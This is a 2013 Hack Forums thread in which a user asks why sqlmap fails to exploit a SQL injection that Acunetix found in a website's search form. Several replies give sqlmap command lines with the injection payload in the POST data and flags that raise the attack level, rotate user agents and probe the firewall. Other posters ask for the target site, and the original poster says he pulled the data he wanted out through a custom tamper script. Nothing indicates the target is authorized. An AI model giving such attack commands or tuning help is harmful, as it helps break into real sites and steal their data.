

Forum:[Hack Forums](#)

Thread: [SQLMap can't exploit an acunetix found sql injection](#)

anonantipedo - July 30, 2013, 1:15 pm

I was running Acunetix on a site, and I came across sql injection and I know it is not a false positive because I am able to generate and "invalid sql" error using the input from acunetix as well as some testing charts from mysql filter evasion cheat sheets. However whenever I plug in my information for sqlmap it say not exploited let alone find an injection point. Any ideas? I have tried all the tamper scripts.

My Acunetix response:

Quote:URL encoded POST input searchquery was set to ###

Error message found:

Invalid SQL:

Code searchquery=%bf%27%bf%22&searchtype=all&Submit=Search&_a=searchclient&_m=core
So in sqlmap I would type the following:

Code sqlmap -u "http://url.com"

--data="searchquery=%bf%27%bf%22&searchtype=all&Submit=Search&_a=searchclient&_m=core"

But it still doesn't find it? Any ideas or any references to manual injection using mysql filter evasion? Any help would be appreciated. Thank You. ?

I even tried addingQuote: --dbms=mysql
parameter to specify mysql

Nyckel - July 30, 2013, 1:33 pm

That fucking sucks. Seems you're gonna actually have to use your brain and do it manually.

michael1026 - July 30, 2013, 3:15 pm

If SQLmap can't do it, then I guess it's just impossible, right? You might want to try actually LOOKING up a tutorial on SQL injection.

Th3PonyWizard - July 30, 2013, 3:15 pm

Post the site here, might turn out to be an interesting challenge.

meglepett - July 30, 2013, 3:50 pm

Try this:

--data="searchquery=&searchtype=all&Submit=Search&_a=searchclient&_m=core" -p
"searchquery" --dbms=mysql

Gee4rce - July 31, 2013, 7:10 am

(Jul 30, 2013 01:33 PM)Nyckel Wrote: [\[CITE\]](#) That fucking sucks. Seems you're gonna actually have to use your brain and do it manually.

<- This!

(Jul 30, 2013 03:50 PM)meglepett Wrote: [\[CITE\]](#) Try this:

--data="searchquery=&searchtype=all&Submit=Search&_a=searchclient&_m=core" -p

"searchquery" --dbms=mysql

And what do you think will this suppose to do?

anonantipedo - July 31, 2013, 8:17 am

(Jul 30, 2013 03:15 PM)michael1026 Wrote: [\[CITE\]](#) If SQLmap can't do it, then I guess it's just impossible, right? You might want to try actually LOOKING up a tutorial on SQL injection.

You don't need to flame. There are lots of filters in the way, I managed to extract what I needed by using my own tamper script.

Just a Cracker - July 31, 2013, 8:20 am

Add in some switches to increase the amount of techniques SQLmap uses:

```
sqlmap -u "http://url.com"
--data="searchquery=%bf%27%bf%22&searchtype=all&Submit=Search&_a=searchclient&_m=core"
-p searchquery --level=5 --risk=4 --threads=7 --random-agent --check-waf
```

anonantipedo - July 31, 2013, 9:56 am

(Jul 30, 2013 03:15 PM)michael1026 Wrote: [\[CITE\]](#) If SQLmap can't do it, then I guess it's just impossible, right? You might want to try actually LOOKING up a tutorial on SQL injection.

Also I know how to do manual injection, however when dealing with large databases it can be very annoying. This is not a standard sqli case, there are lots of filters set up.

bunnyman - August 1, 2013, 8:57 am

Hello anonantipedo,

Referring to your Acunetix scan result saying that there was a sql injection vulnerability:

Code searchquery=%bf%27%bf%22&searchtype=all&Submit=Search&_a=searchclient&_m=core
from the mention url query, it could be encoded. I decoded it by using

<http://www.url-encode-decode.com/> and found:

Code searchquery=?'?"&searchtype=all&Submit=Search&_a=searchclient&_m=core

As Just a Cracker mention:

Code sqlmap -u "http://url.com"

```
--data="searchquery=%bf%27%bf%22&searchtype=all&Submit=Search&_a=searchclient&_m=core"
-p searchquery --level=5 --risk=4 --threads=7 --random-agent --check-waf
```

you may want to change it to:

Code sqlmap -u "http://url.com"

```
--data="searchquery=?'?"&searchtype=all&Submit=Search&_a=searchclient&_m=core" -p
searchquery --level=5 --risk=4 --threads=7 --random-agent --check-waf
```

if you perform vulnerability scanning during next time, you may want to:

1) use a proxy or Burp suite to log every network traffics that going in and out

or

2) use wireshark to capture every packets and rebuild it using networkminer

By the way, please do keep us update.

?Stark - August 1, 2013, 9:10 am

will you post site?? so its easier to find what problem in sqlmap.

you can PM me

allhaxors - August 1, 2013, 9:21 am

you can do t manual
otherwise tools have same thing and it never bypass

kevin12087 - *August 1, 2013, 9:31 am*

can someone send me a .exe of sqlmap cause i have winrar and it just shows the coding BUT I NEED THE .EXE

bunnyman - *August 1, 2013, 8:58 pm*

(Aug 1, 2013 09:31 AM)kevin12087 Wrote: [\[CITE\]](#) can someone send me a .exe of sqlmap cause i have winrar and it just shows the coding BUT I NEED THE .EXE

You need to have python version 2.6.x or 2.7.x installed in your computer in order to run sqlmap

once you have installed the python you may want to set your system PATH to include the python directory with python.exe file

then you can invoke the sqlmap by typing:

```
python sqlmap.py
```

for more information, you can refer to:

<https://github.com/sqlmapproject/sqlmap>